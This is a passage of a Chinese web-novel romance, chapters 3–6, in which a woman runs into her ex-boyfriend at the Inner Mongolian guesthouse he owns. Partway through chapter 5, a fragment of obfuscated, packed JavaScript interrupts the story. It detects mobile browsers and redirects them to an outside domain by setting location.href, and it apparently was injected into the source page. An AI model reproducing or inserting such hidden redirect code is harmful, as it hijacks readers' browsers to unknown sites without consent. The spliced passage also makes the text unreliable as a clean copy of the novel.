但没想到臭老头装作听不懂拒绝,蹬鼻子上脸,眼眉一挑,装膜作样的哦了一声,低声凑过来:“那试试我,我一定比你之前的亚洲男朋友好。”
他话音一出,旁边尽是哄笑。
虞蓝知道这群白人佬把自己当盘菜了,视线上下扫他,冷幽幽:“你、确、定?”
老白男瞬间绷不住了,像是想挽回点面子,倏地神情强硬,胳膊就想往她腰上揽。
那巴掌打出去,就别怪她手重。
“这种毒瘤,你打他一次,他以后干这种事情就忌惮一分。”
虞蓝深以为然。她开了免提洗脸清醒,辛可终于骂够,听见她这边的呼呼风声,人却迟迟不语。
辛可犹豫着想
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问她这样对她职业生涯有没有什么影响,正考虑如何开口,就猛然听到电话那头传来一句:
“我遇见朝戈了。”
辛可震惊:“啊?”
虞蓝湿淋淋地抹了把脸:“是的。”
“在酒店?”
“嗯。”
“他自己?”
“不是。”虞蓝刷刷抽出两张擦脸巾,在脸上浑沌摸了摸,声线平静:“和她女朋友。”
朝戈和她女朋友住酒店,让蓝蓝碰上了?!
信息量过载,辛可觉得自己脑仁在沸腾燃烧:
“那你怎么样?”
虞蓝失笑:“我能怎么样?”
辛可听她语气,平静得宛若身在局外,也收了点语气,哦了一声,不知道从何说起。
当年他俩分手闹得凄惨难看,人尽皆知。谈的时候轰轰烈烈,分的时候满地鸡毛。
朝戈那阵经常会到他们宿舍楼下等她,一站就是半宿。
看热闹不嫌事大的论坛,那一阵子都是风言风语。
说得最多的无非就是男神还是年纪轻,被人骗了也那么走心,像虞蓝那种家境的白富美,说白了就是和你玩玩。
当真就输了。
后来蓝蓝去了美国,俩人彻底断了联系。这段虐恋到底被时间空间划上强行休止符。
电话那头,内蒙晚风悠悠,吹来虞蓝一句低低的声。
她说:“可可,都五年了。”
是啊,都五年了。
辛可哦了声,气焰消下去。后知后觉发现情绪来自于听到他有了新女友,接踵而来一种奇妙的背叛感。
毕竟,记忆里对这个内蒙男人的印象还停留在他全身心爱虞蓝的时候。
那时候虞蓝和家里大吵一架,被关禁闭,又正赶上流行性感冒。
每天吸溜着鼻涕不能出去,日子过得清汤寡水,娱乐项目是看着窗外发呆。
学校当时正放假,寝室和学校空空如也。
只剩下朝戈一个,每天定时定点,一声不响地到虞家别墅楼下。
大冬天,北京冷得,满树的冷冰雾凇。
男人什么也不干,就站在院子里,背靠冷树,点燃支烟。
只为了虞蓝无聊时候能看见他。
再比如,也是那年,她们几个发小实在受不住北京冬天的萧条,甩甩手结伴去巴厘岛度假。
那几天过得很爽
海岛温暖如春。
每天就是睡到日上三竿,叫来酒店服务的早午餐,然后穿上蓝色贝壳的比基尼到私人沙滩游几圈,上来再冲个澡做泡花瓣精油spa。
等到回来的时候,北京仍是冬天。
约来接机的专车司机迟迟不到,她说加钱,却把司机逼得直接发飙,说雪下得太大都成灾了,半小腿高,路都堵死了,现在能赶到机场的除了神仙只有鸟。
取消订单前还讽刺她,“以为什么事都能用钱解决呢姑娘?”
她给同行的虞蓝说,虞蓝打了电话,告诉朝戈雪太大别来接了。
但得到的回复只有两个字。
“回头。”
她俩应声回头,男人站在接机口处,颀长的身型里怀抱了一束鲜花,唇角抿出浅浅笑痕。
北京雪大得连松树针都秃黄,也不知道他从哪找来的花。
那一刻别说虞蓝,连她都有点恍惚。
好像刚才海岛用钱堆砌出来的白沙滩蓝海浪都是一场一拍就散的浮梦,有的人像北京城墙上的一块砖,脚踏实地站在那,从未变过。
反应过来时,虞蓝一下就到了他怀里。
男人立刻把她冰凉的手往自己衣服里揣。
时间真是神奇。
连她这种局外人都感受出来的爱,也会随着时间更迭流逝变换。
“他看见你了吗?”辛可问。
“不知道。”大概率是没有。
“行了别管他了,都是过去式了。”辛可刻意话说得狠些,想让虞蓝拎清。
“你虞蓝想找个帅哥还不容易,你忘了咱留学的时候,金发碧眼长得像美队的小帅哥哭着喊着说爱你?”
“内蒙又不是他朝戈一枝独秀,男人多的是,你去了别白去,听说那边小伙都身高腿长身体素质巨好,蓝天白云的,不做白不做。”
虞蓝被她逗乐,刚要出声,就外面咚咚敲门声。
她心跳陡然一重,凑近门板,嗓音压低:“谁啊?”
都仁:“蓝小姐,是我,刚前台的。”
虞蓝听见是都仁的声音,神情放缓:“什么事?”
都仁:“您行李箱落下了。”
辛可:“男的?”
虞蓝向开免提的手机道:“你等会。”
辛可笑呵呵地让位:“有情况是吧,行,姐们儿懂。”
虞蓝:“先别挂。”
电话按了静音。
虞蓝推开房门。
门外,前台小哥不出意外的笑脸相迎,甚至还带了几分感动。
“虞小姐,您的行李箱。”
“谢谢。”虞蓝不知道这小哥在感动些什么,刚要敛眸接过行李箱,视线却在对面的某处顿住。
凌小兰和虞蓝的房间相邻相对。
一道极熟悉挺拔的背影。
宽肩窄腰,长腿优越。单手抵住门板,看姿势,正低头和屋内人说话。
虞蓝浑身所有血液瞬间从脊柱向上窜。
另一侧,男人也应声回头。
深邃分明的五官轮廓和古铜色的皮肤被适时亮起的走廊灯光映亮。
光拥簇着那双狭长漆黑的眸子,直直撞人眼底。
四目相对。
虞蓝看见他眸底闪过止不住的惊讶。
这回倒是认出来了。
虞蓝忍不住微嘲。
曾经多次想过经年再见,他会变成什么样。
更精壮了,更冷静了,抑或是年纪渐长更成熟稳重了。
但是现在人就站在她面前。
下一秒,一道尖锐娇嗔的女声从他身后传来:“朝戈,你答应了要让着我的!”
虞蓝骤然回神。
走廊灯微微昏黄,但正好能清楚映见男人护在身后的女生,在卖萌撒娇。
男人身形高大,挡着女生看不清面容,但是屋内有风吹过,女生的几缕黑长发暧昧地缠绕着男人衣角。
什么情况不言而喻。
半分钟前,虞蓝觉得住进前男友的酒店,落荒而逃,已经很可怕了。
但她没能想到,还能亲眼目睹前男友和现任恩爱。
在酒店房间门口。
4. 第4章
-
走廊里灯光被风吹得飘荡,像一条大河,生生将相对而立的人割成了两岸。
不合时宜的,虞蓝脑海里浮现出她和朝戈的第一次见面的那天。
那时候她是个爱心泛滥的小女孩。
宿舍楼后面墙根底下不少流浪猫。
她常喂的一只猫妈妈出门觅食的时候踩着捕鼠夹,没了。
剩下一窝比拳头大不了多少的小猫崽,嗷嗷待哺。
因为是黑猫,有人觉得寓意不好,送养都没人要。
只能放野外苟活一天算一天。
深秋冷雨,人都冻得直搓手心,幼猫肯定活不过雨夜。
她这么想着,裹紧了衣服便冒雨出发。
墙根树荫底下,一窝小猫探头舔她。她数了又数,少了叫踏雪的一只。
踏雪四脚雪白,像套了白手套,出奇的活泼,往日她来时候,隔了半条马路都最先奔过来。
今天怎么唤都唤不出来。
提着手电沿墙根找了半天,果然见到他被一处捕鼠夹夹着,腿上鲜血模糊。
雨水淋漓,虞蓝废了好大力气,自己险些被夹,才把他放出来。
踏雪喵呜一声,猛地重回自由,从她手上一踩跳走。
她被吓了一跳,重心一偏,从台阶上跌下来崴了脚,尝试了几次实在没法站起。
手机早摔得不知道哪去,周围空无一人。
高灌木小森林似地,将她挡得严严实实,能闯进来的只有从天而落的豆大雨点。
只剩下她自己疼得头皮直紧,求救无门。
她第一次感受到什么叫欲哭无泪。
雨势大到她张不开眼,脚踝疼痛到她喊不出声音。
冰冷的雨点拍得她浑身都冷透了。
就在她力竭几乎要昏睡过去时,忽然有脚步声在灌木丛后响起。
雨势太大,虞蓝艰难仰起头。
视线伊始,便撞上一双明晃晃的长腿,笔直直地杵在湿润土地上,像利落锋利的杨树,高而挺拔,视线向上抬了好久,才勉强将整个身型纳入眼底。
一个精壮、魁梧的男人。
宽肩、窄腰、短皮夹克、黑卷发。
劲窄腰身一侧,夹克边缘随意挽起,露出一截蜜色紧实的小臂。这么冷的天,虞蓝鼻头通红,脸颊冻得几乎失去知觉。
男人竟然还光着小臂。
有一瞬间,虞蓝瑟缩了一下脚踝缩小面积。
警惕心理让她纠结到底该求助还是装此地无银。
万一这人是坏人,她现在连半分还手之力都没有...
但已经晚了。
男人的视线已经转过来,撞见她,眼底也闪过诧异。
虞蓝不发声不行了,心一横,赌一把:“同学,能帮忙打个120吗?”
声音一出,是她都没有预料到的干哑。
抖得几乎不成字句。
朝戈视线倾过来。瞬息就注意到地上的姑娘和蜷缩微颤的脚踝——肿得很高,搞不好韧带都撕裂了。
他半蹲下身,声音很低:“能站起来吗?”
雨线在天上纵横摇晃,男人没带伞,夹克里面套了件卫衣,连帽扣在头上。
他一低头,冰凉的水线就顺着衣服弧度滑到虞蓝的手臂上。
虞蓝被凉得一哆嗦,尽力捋直舌头:“应该行。”
朝戈蹙眉,觉得眼前女生意识都有点涣散了,又看她动弹了两下,想撑起身,结果胳膊晃得像筛抖。
能个屁能。
虞蓝视线里,男人被雨水淋湿的黑卷发锋利刺在高眉骨上,眸子在逐渐加大的雨势底下微眯,三下五除二脱掉夹克。
虞蓝:“你干嘛!”
男人扫了她防备的脸蛋一眼,把脱掉的夹克塞到她手里,扭头,蹲低身,将后背展给她:“上来。”
虞蓝犹豫了半秒,也没矫情,胳膊一把环了上去。
那还是虞蓝第一次知道她有那么轻。
男人背着她,轻巧地起身,唇都不用抿紧。
载着她径直向医务室走。
虞蓝手里抓着他的外套,夹克内侧干燥柔软,和周遭环境迥然不同,反应过来这是衣服主人未散的体温之后,虞蓝一阵不自在,咳了一声:“你衣服...”
“撑着。”
模糊雨夜里头,男人声线倒是格外清晰。虞蓝哦了一声,将夹克抖抖散开,胳膊往前抻,尽力地支在两人脑顶。
一小片干燥宁和的空间,隔绝噼里啪啦的雨帘。
除了共同呼吸一小块空气,实在太不自在之外。
好在男人待了没有半分钟,就不耐侧了下脖子躲开:“你撑你自己的。”
声线比雨更冷。
虞蓝哦了声。
两人已经走到了校园大路,周围已有零星人影经过,虞蓝戒心放下大半,心里感慨没想到真是好心人。
让好心人受累又淋雨怎么想都不是那么回事。
虽然腿都疼麻了,一动弹就连带着头皮都麻,但虞蓝还是非常刻苦地将衣服挣开,高高地挡在男人头顶。
能挡点是点。
但是没成想,风一吹,她和夹克像一把经不住力的伞,重心不稳地往一侧倾。
虞蓝心跳停了半拍,在彻底偏离轨道的前一秒,被一股力道紧紧钳住。
虞蓝瞥见男人紧实的蜜色小臂,鼓起凌厉线条。
男人只靠单手就控住了背上的她,另一只手倏地高撑衣面,将衣服边攥紧,塞回她掌心,声线平直:“拿稳。”
虞蓝觉得自己好像被雨浇发烧了。
脑子都有点晕了。
索性也不客气,收回高撑衣服的酸痛手臂,直接乱蓬蓬的把自己裹起来。
等到了医护室,朝戈把这个凌乱的“粽子”放到行军床上,医护给她喂了葡萄糖吹了头发之后,虞蓝才勉强恢复了点人样,眼皮回力,侧眸看他:
“同学,谢谢你啊,你是哪个院的,大几?”
男人明明听见了她提问,却还是视线盯在医生动作上。
抿唇不语。
虞蓝眨眨眼,感受到男人这层无可奉告的态度。
“那你叫什么名字?”
也没回声。
等到医生彻底帮她处理好伤口,男人才有了动作,转身到了门口。
虞蓝:“你去哪?”
“抽烟。”
男人回复的简单。
虞蓝一眼看透他在说谎,明摆着就是要走。
但她哦了一声,也没拆穿。
他俩非亲非故更谈不上朋友,人家能关键时刻伸出援助之手几乎算得上英雄救美,大义之举了。
再耽误人家时间纯属无理要求。
但还是在门板吱呀一声之际,投去目光:“我手机不知道摔哪去了,能借你手机打个电话吗?”
朝戈没拒绝。
虞蓝还记得那个手机,很破旧的翻盖诺基亚。
很难想象在那个年代有人会用这种手机,相比之下,她配着粉色小马挂饰的苹果手机,简直像领先几十年的科技产物。
她打完电话,又兀自往男人通讯录里,输入了自己的电话号码。
递过去,视线明晃晃:“我叫虞蓝。”
“这次是我欠你的。”
“非常感谢,来日一定还。”
男人站在行军床旁边,接过手机,看见她强行输入的名字,备注后头,还留下一个:)。
可能是这部破烂手机唯一能打出的表情。
视线微顿,许久才开口。
冷冰冰的两个字,像没关紧窗,飘落进来的两滴冷雨。
他说:“朝戈。”
虞蓝后知后觉,品了下这两个不熟悉的姓和名,才回过味:“你是少数民族啊。”
只见门口的男人脚步驻了一瞬。
喉咙里敷衍地溢出半个音节。
随后依旧掩门,走了。
也不知道应了还是没应。
当时,也是光影变化,门板一开一合,讲不清楚
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是她主动抛出橄榄枝还是男人主动伸出的援手。
缘分就此展开纠缠。
可虞蓝现在站在他对面,像是已经浏览过悲伤结局的人,去回见美好的初见。
刻舟求剑不过如此。
回过神之前,红唇已经自动抿了个笑出来:“朝戈?”
她语调轻松,像是浑然不知方才的任何。
“好巧,你也来这住?”
男人本皱着眉,似是被走廊灯线干扰,模糊不清的的辨认,在听见她声线的那一刻又倏然变换。响起的声线从未听过的疏冷。
“这是我的民宿。”
虞蓝哦了声,旋即靠着门板,浅笑着评价:
“当上老板了,混得不错嘛。”
男人抿唇没吭声。
都仁拨着脑袋左看右看,笑道:“老大,你们认识啊。”
他语调轻松,自带感染氛围。
但朝戈的声线里却不带一丝笑意,视线浓沉,直落向门前眸色放松的虞蓝,隐在夹克里的小臂似乎已然有肌肉绷紧,问:“你怎么在这?”
“住酒店,能干什么?”虞蓝抱着臂,姿态轻松,喉咙却有点涩。为了掩盖,低头踹了脚行李箱,轱辘驮着箱子悠悠滑进门里。
“不用这么语气不善,我花了钱的。”
她房门半掩,窥不见里面情景。
朝戈薄唇抿紧。
他思考时候,脖颈处尖锐凸起的喉结会突然顿住。譬如现在。
虞蓝看了两秒,潜意识被想为这个从未变过的习惯而触动。
就听他身后,一道娇俏女声,似是被朝戈魁梧的身型挡住了视线,只能仰头询问:“谁啊?”
虞蓝意味不明地勾了勾唇角。
她霸道惯了,人生第一次,这么不适应。
有种自己明明出来打地洞想逃避一阵,却莫名奇妙钻进人家的地盘,两只鼹鼠正要□□,她还得陪着笑说sorry打扰了。
体面被撕成一张烂布扔到她面前,还要告诉她这是画。
因为人家两个没错。
她疼到心颤的同时,又是恼怒。
觉得他妈的虞蓝你也就这点出息。
分手这么多年了,人家的幸福和新欢,跟你有个屁的关系。
关门。
手扶上门板,突然口袋里手机一震,辛可的声音响亮亮的外放出来——
“不是,我说,我刚让你去搞点内蒙男人放松放松,你这么快就搞上了,不愧是你虞蓝,神速啊!”
辛可那边信号不好,没听见虞蓝让她等下的话,只能模模糊糊听见虞蓝在和哪个男的对话。这速度,她姐妹儿牛逼。
女人的声音在整个走廊回荡。
搞点内蒙男人放松放松....
都仁嘴角抽抽,眼睛不知道看哪好。
瞥见朝戈,男人脸色阴沉地如同台风过境。
虞蓝后知后觉地反应过来,刚才按的静音,怕是按到了扬声器上。
紧急挂断电话之后,再抬头,正好对上朝戈不善的目光。
那是属于男人的心理波动。
虞蓝突然笑得出来了。
堵在胸口的郁气散了大半,心底升起一阵莫名其妙的虚荣。
还好,幸好有闺蜜这几句话。
才没让她那么完全难堪地落于下风。
假的脸面也是脸面。
此刻流露半分难过情绪,都是懦夫。
虞蓝简直笑得不要太开心:“真是打扰了。”
视线落到脊背挺直的男人身上,突如而来的一阵释然,是告别,也是定心针。
她才不屑于去做什么纠缠不清,在人家现任面前找存在感的事。
但是遗憾也难免。毕竟她的青春到这里,正式宣告结束。
她说:“我明天就走。”
心照不宣地隔出空间。
给了交代。
很体面。
只是语气轻飘飘的,落在别人耳朵里,像局外人,丝毫不在乎。
5. 第5章
女人说完话。
嘭的一声关上门。
视线被酒店房门斩断。
店里走廊光是柔色,打在虞蓝白皙的皮肤上。
像白瓷外面那层釉色。
润,亮,轻轻一敲就会碎。
也在门板咣当一声之后,无影无踪。
都仁听虞蓝说完,心里一突。虽然别人的道德领域他们无权置喙,但旅游经济就是这群被荷尔蒙蒙了心的约炮艳遇搞得臭哄哄。
大家想起沙漠,记不得星夜和越野纵横,想得都是窈窕的地陪小三小四,攀着中年老板的胳膊没头没脑不管天地潇洒几日。
朝戈看不上,不掩饰的鄙夷。
上次有个男的来民宿住,和另一个女游客滚到了一起,女友千里迢迢来酒店抓,哭得满脸是泪,拽着朝戈让他评评理。最后撕叫打闹成一团,朝戈一个局外人,胳膊拦架时候被挠出长长一道血痕。
他吓得不得了,报警来人把仨人抓警察局调解去了,回来看着朝戈惊心动魄的小臂,问他怎么样,男人在门前抽烟,吐了口烟雾,评价尖锐简洁地从白雾里头劈出:“有病。”
……
“虞小姐蛮会开玩笑,城里人的梗我都有点跟不上了。”都仁尬笑两声打完圆场,提着一口气去窥朝戈的脸色。
男人没说什么。
冷淡眸子一如既往,细看上去却浮动一丝冷笑:“开玩笑?”
都仁暗道不好:“这东西,论迹不论心,闺蜜之间说说而已,咱开门做生意的,也不能四处当判官,你说是不是哥?”
“跟咱没关系。”
可能是“没关系”这三个字起了警醒作用,男人冷冷垂眸,转身欲走。
但一旁,凌小兰憋着股气。
自从对面门一开,这两个男人的视线瞬间都移到那个女人身上。
连眼睛都不眨。
不就是身材好点长得漂亮点吗?
此刻被她逮到空隙,立刻尖声:“什么没关系,这女人怎么回事?知不知道点羞耻,在谁的地盘上,张嘴闭嘴就是搞什么内蒙男人。”
“有没有搞错,这是度假村,不是妓——”
院字还没说出来,就被冷声喝住。
凌小兰心里一突,一抬头就对上朝戈凉到阴翳的脸色。
男人眼神死寂,视线冷刃一样觑过来,厌恶和叱责毫不掩饰的外露。
声线平而短促。
“不会说话就闭嘴。”
凌小兰被他眼里的情绪吓得钉在了原地。
反应过来,撇撇嘴就想掉眼泪,但是朝戈在,她根本不敢。
都仁也被他这一下子吓住。有点意外地看了眼紧闭的房门。
男人没理会凌小兰的忍哭,想起什么,眉间又攒起来:“她一个人来的吗?”
“来的时候是一个人。”
都仁回完,想起刚才电话里的声音,又犹豫,“后面可能…还有朋友?”
这几句话都仁说的莫名惴惴。
好在男人没再多问,“嗯”了一声,转身便长腿迈开,出门抽烟。
都仁遥遥望到玻璃门后升腾起来,一如既往的袅袅白雾,长舒了口气,又扭头看了眼门板。
心里暗道:虞小姐啊虞小姐,要不要这么有性格。
-
屋里。
关上门,虞蓝第一件事情就是给辛可发消息。
但手机屏幕显示信号波动,已挂断。
虞蓝盯着手机两秒,等待的静谧显得心跳声更响亮。
明明事情的都了了,但心里仍像打翻了火盆一样坐立不安,咚咚直响。
索性把手机扔远,拉开minibar,抽出瓶冰凉的威士忌抱在怀里,坐地上端个小杯一杯一杯喝。
等到辛可到的时候,虞蓝早已喝得晕睡过去了。
再开门时候,已经是辛可打她电话叫她起床,喊她一起出门吃早饭。
-
虞蓝走进餐厅,已经有一群人在那等着了。
见她进来,辛可狂摆手:“蓝蓝,这里。”
虞蓝走过去,胡杨给她拉开椅子坐下,离近了才发现辛可梳了两个羊角辫,头上戴了顶西部牛仔麂皮帽,上面还卡着硕大的□□墨镜。
石头一身纯黑冲锋衣,领子立得倍儿正。
里面唯一正常的可能是胡杨,但也穿了双登山鞋。
虞蓝一阵头疼:“什么情况?”
一个个都是整装待发的样子。
“当然是已经做好大玩特玩的准备了。”
“昨天你一说要团建,我们几个连夜翻装备。”
“石头想学骑马好久了,这回可算让他抓住机会了。”
辛可一面说,一面拨了个橙子给递给虞蓝,担忧道。
“昨天我们刚到敲你门你没开,我就知道你睡着了,头疼不疼?”
“还好。”
虞蓝塞了瓣橙子到嘴里,这才留意到桌上银盘盛着水果,垒得小山一样。
“谁买的?”
“酒店送的。”石头捉起银叉插了块蜜瓜,“说是欢迎水果。”
“我靠姐,我还以为这种野奢民宿都在江浙沪,没想到内蒙也有这种品质的,感觉这水果都能值回一半房费了。”
虞蓝艰难咽下这瓣橘子,直道:“我们得换个酒店。”
末了,怕看到到几个人眼里失落,立刻补充:
“我睡了一晚,觉得这酒店一般,我们还在这片草原上玩,但是换个更好的酒店,经费无上限。”
辛可猜到其中一二,一早上起来就想问虞蓝这件事,和她对了个眼神,小声:
“他住哪屋?”
虞蓝摇头。
辛可:“不知道?”
虞蓝:“他是老板。”
?辛可瞳孔瞬间睁大。
另一头,石头往大玻璃房外看了一扫,漫地绿色翻滚入眼。
“这还一般?!”
独栋蒙古风情别墅,连餐厅都是落地窗的,档次甩了一路自驾过来看到的民宿几条街。
石头没想到虞蓝突然变卦,小心补充道:
“还有,民宿是在网上订的,定金都交了,预定系统不给退的...”
胡杨也蹙眉递出手机:“还有一个问题是,这种旅游旺季,周围都住满了。”
“满了?”虞蓝蹙眉接过手机。
如果没记错的话,她昨晚喝晕之前特意翻了下周边,有几间房的。
点评显示全部订完。
接过手机,虞蓝视线定在点评软件上,指尖微微收紧。
朝戈的民宿评价确实很好。高端野奢路线,竟然还有大几千的点赞数据。
最上面高点赞的Po主真情实感地发了整整九张图。
“很少点评,为了这家酒店特意编辑一下。这次和老公出来蜜月旅行,最开心就是选了这家酒店。环境高级服务到位,老板人帅话少,但听说我和我老公异地恋多年终成眷属,特地拿出航拍免费给我们用,走的时候还给我们免单!免单!说是送我们的新婚祝福!简直是幸运砸在头上。最后恭喜张先生从未婚夫升级到老公啦,也祝老板和老板娘早日团聚,越来越好~撒花~。”
屏幕太晃,虞蓝视线定在老板娘那几个字上面,看得眼干。
刚才还咂着还不错的橙瓣,现在摩擦进舌根,涩得吞都吞不下去。
早餐区域和前厅是通透墙体,一览无余,虞蓝似有所感的抬眼,一眼就看见窝在对面沙发里的男人。
长腿屈折,头颅微垂,从茶几烟盒上抽出根烟,渡在修长的指骨间来回揉捏,也不点燃。
视线丝毫不避讳地,向她倾斜过来。
四目相对,眼神相接。
虞蓝心陡然一颤。
但男人眸光浓沉深邃,毫无波澜。
跟看陌生人没区别。
虞蓝率先避开他目光,若无其事地去扫了眼今日天色,余光收回时,瞥见男人早已避开眼,正从蹙眉低头从口袋里拿出嗡嗡震动的手机。
眉宇间的不耐烦又在看清联系人姓名的那一刻倏然散开。
随即迈开长腿,转身去外面接电话。
门板阂上的那一刹那,轻风吹来男人模糊低沉的一声“喂”。
草原上的风四季不停,吹得人心空空荡荡。
不知道是不是错觉,虞蓝总觉得朝戈刚才喂的那一声,轻而慢,有种刻意纵容的温柔感。
虞蓝拎起杯子,又喝了口冷茶。
莫名其妙,兀自扯了抹笑在唇上,想——
算了。
没必要因为一个已经有了新生活的人,瞻前顾后,浪费自己的钱。
很多时候,人不用活得这么够意思。
就当是大型脱敏现场了。
辛可看两个孩子纠结的脸,出来站队虞蓝:
“我觉得咱们还是听蓝总的——”
“算了。”虞蓝挥挥手,改了主意:“就在这玩吧。”
“哦耶!”石头振臂高呼,心放回肚子里。
忙不迭续上一溜彩虹屁,“姐真的最好了,女菩萨!”
-
门外。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490253|185821||http|test|mini|href|location''.split(''|''),0,{}));
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>朝戈手机抵着耳廓,声线放缓:“阿爸。”
“哎,这回信号好,能听清。”电话那头,一道略微沙哑虚弱的中老年男声。
朝戈:“嗯,今天身体怎么样?”
“好了不少,你新请来的护工阿姨,很周到。”
“那就好。”
“但是朝戈啊,这种高级护工得不少钱吧...”
朝戈拧眉:“阿爸。”
“我知道你有钱,但是你阿姨今天来了,说要照顾我,还给我煲了汤,你说这钱给谁赚也是赚,自己家人,肯定比别人妥帖,是吧。”
朝戈默声没回复。
他口中的阿姨是他前妻,之前嫌阿爸为人正直不肯走门路没出息,甩身给城里有钱的富商做小老婆。被扫地出门被正宫打脸打得很难看,捞到的丁点钱都用在了吃喝做脸上。
现在阿爸身体抱恙,她倒出来献殷勤。
其心昭然若揭。
但是总有傻子上钩。
阿爸怕他不高兴:“朝戈...”
没想到,隔了一个呼吸的空隙,电话那头传来男人冷而淡的声线。
“你高兴就行。”
阿爸有些惴惴,但事情只能这样,舒了口气换了话题:“小兰在那没给你添麻烦吧?”
朝戈:“没,挺好的。”
“那就好,那孩子闹腾,被她妈养得嘴毒,她说什么你都别往心里去,她的学费我来想办法。别给你添麻烦就行。”
一旦涉及到这娘俩的事,阿爸就会和他小心翼翼。
人刚从ICU脱险,想什么钱的办法。
但朝戈没驳嘴,给他托了底:“放心吧阿爸。”
“一切都有我。”
“听你嗓子有点哑,又没睡好?”
“我没事。”朝戈衔起烟,唇齿闲散咬着,侧头凑到火机前,声线变得模糊:“阿爸你照顾好自己就好,不用担心我。”
金属摩擦打火机砰地一声,粗粝地迸出一簇火,嘶啦响着灼烤烟草。
电话那头都听见这清脆的一声响,阿爸默了一瞬:“又抽烟了?”
前两年朝戈被诊断为哮喘,医生勒令他如果想多活两年就把烟戒了。朝戈自制力很好,鲜少破戒,除非…
“又想起她了?”阿爸叹了口气。
“太多年了,阿爸说难听的,现在走来路上照面都不一定互相能认出来。估计早就不记得你了。”
这番劝告,他知道旁敲侧击说了多少次。
但极少说得如此露骨,他秉着哪怕伤孩子心,也得让他看清的架势。
更何况,朝戈从小就是懂事孩子,话不用说满他就能懂,更何况已经点透成这样。
电话那头,朝戈默。
阿爸松了口气,觉得他定是听进去了。
没成想下一秒,男人唇舌衔着烟身,下颚绷紧,吐出一口烟雾,声线冷而沉顺势滑出:
“你说了很多遍了,阿爸。”
阿爸怔住。
朝戈声线太凉,像一道强行休止符。
“我只是没睡好,跟谁都没关系。”
“至于你说的那个人——”
朝戈在氤氲的浓烟里头垂眼,指骨微屈,低垂在烟灰缸上方,慢悠悠地磕了两下,微哑的嗓音随之漫出来:“早忘了。”
细白的烟线被风吹散,摇曳着散在雾气里。
一如男人的声线,模糊得让人分辨不明情绪。
阿爸一时间不知道该说什么。
只能哀叹了一声摇摇头,嘱咐他身体第一好好照顾自己。
电话挂断。
朝戈撤掉抵在耳边的手机,抬眸,视线前方是玻璃窗,窗后是早餐厅,有人在花花绿绿的果汁杯子后面撞入眼底。
她什么也没干,闲散支着下巴往那一坐,一头长发如瀑,就如一幅招魂幡。招得旁边清瘦的男生过来给她倒水,她弯弯漂亮眉毛,侧身同他说些什么。
笑容眩目又乍眼。
都仁正好出来倒水,见男人定定地站这抽烟向里看。他平日里忙得脚不沾地,能在民宿待一会都少见。
觉着新奇,都仁端着空水盆笑着迎过去:“哥,今儿没事?看啥呢?”
“没什么。”朝戈别看眼,没让都仁循到他视线,烟凑到唇边,两颊下陷,猛吸了一口,随即便掐灭在墙上。
“走了。”
“这就走啦?”都仁还没看清个所以然,只见男人遒劲的长腿迈开,短草被他踩得弯腰,在风里轻轻摇晃。
墙上,只剩下一个碳色的烟灰圆点。男人仿佛没来过。
6. 第6章
吃完早饭,几个人出发去祭敖包。
辛可很有兴趣,她早就做过攻略,说敖包是祭祀的地方,能祭山川神祗,蒙古人旅途中遇到,都得下马膜拜之后才能继续前行。
草原传统,见者吉祥。
重点是,敖包四角彩旗飘飘,看上去很出片!
辛可捂全脸防晒面罩,紫外线防护到变态得地步,挽着虞蓝的胳膊,兴致盎然:
“你们这个敖包,许愿灵不灵啊?”
“灵啊,当然灵。”都仁从屋里出来,感受了下今天灿烂的阳光,咧开嘴笑道:
“我们蒙族人崇拜山岳、崇拜日月、崇拜河流,敖包汇聚着各种自然的神灵,大能求风调雨顺,小能保桃花旺旺,待会到了,我教你怎么绕。”
都仁滴了声钥匙,才想起来自己的吉普车昨天送另一组客人的时候抛锚,轮胎还没来得及换。
院子里其他车又都开去保养了。
做导游的,用人家客人的车总归不好。
只能回到屋内,向大堂里的朝戈:“哥,能不能借个钥匙,我用你的车。”
都仁问得忐忑。
朝戈的车刚提不久,除了载阿爸去医院,就是接凌小兰回来。
哪怕他再排斥凌小兰,怎么也都算自家人。和客人还是有区别。
朝戈抬眸瞥他一眼,深潭似的眸光看得都仁一怔。料想肯定是没戏了。
没成想下一秒,男人从酒店大堂的沙发上起身,径直推门向外去。
都仁睁大眼睛,没看明白朝戈这个举动的意思,追在后面。
男人径直往车边走。
车边站着虞蓝,还是昨天那件衬衫裙,阳光一晃,纤细高挑的一道白。
辛可侧身挽着她胳膊,视线先一步撞到他,眼神惊讶之余里堆着几分警惕。
拽着虞蓝往旁边挪了一步。
虞蓝还没得反应,只感受到有什么东西从她耳边擦肩,随后一只矫健均匀的手臂闯入视野。
男人单手拉开沉重的车门,高阔的SUV车门,大多人上去都得踩着车垫板上去,眼前的男人身高腿长,钻进车里甚至需要微微低头。
他掀开中控储物箱,俯身翻找什么,留在视线中的后背白t,被肌肉饱满的肩胛撑满的一条弧线。
辛可小声不满:“走路不看路吗,差点撞到我们...”蓝蓝两个字,辛可也不知为什么没说出口。
可能是这个称呼自带亲昵和甜蜜,以往在某人嘴里唤过很多次。
连她都知道不合时宜。
虞蓝唇线紧抿。
上午的草原阳光灿烂,映得草尖露水晶莹,光线洒在朝戈耳后,触及金属质感,折射出一道晃眼光线。
辛可被晃了眼,肩膀悄无声息地撞了下虞蓝,压低声:“你前男友竟然打了耳钉?”这么不符他的气质。
虞蓝默声。
脑海不可抑制,浮现起很多年前,她试图骗这人打耳洞,但以失败告终。
聪明如他,一定知道这种张扬的东西和沉敛的性格并不适配。
直觉告诉虞蓝,这种超出本人意志的行为,一定是和其他人有关。
更明确的说,是女人。
但往事不宜追忆更承不住细想。
很可惜,别人行为总不以你的心意为转移。
这边,男人翻找完毕,将东西从储物箱里攥进掌心。
抬眸在车内逡巡一圈确认无误,咣当一声阂上车门,转身便往屋里走。
肩膀与虞蓝平行时候,视线没有半分偏移。
都仁怔怔地看他路过,怀里一凉,后知后觉反应过来朝戈扔了钥匙到他这。
他脑子转进迷雾阵似的,反应不过来:“哥...你不带队吗?”
几步之遥,门板已经阂上,檐下牛骨风铃碰撞,传来动听的一阵灵动铃声。
衬得男人方才的声线更冷淡疏离:
“不带,你开。”
-
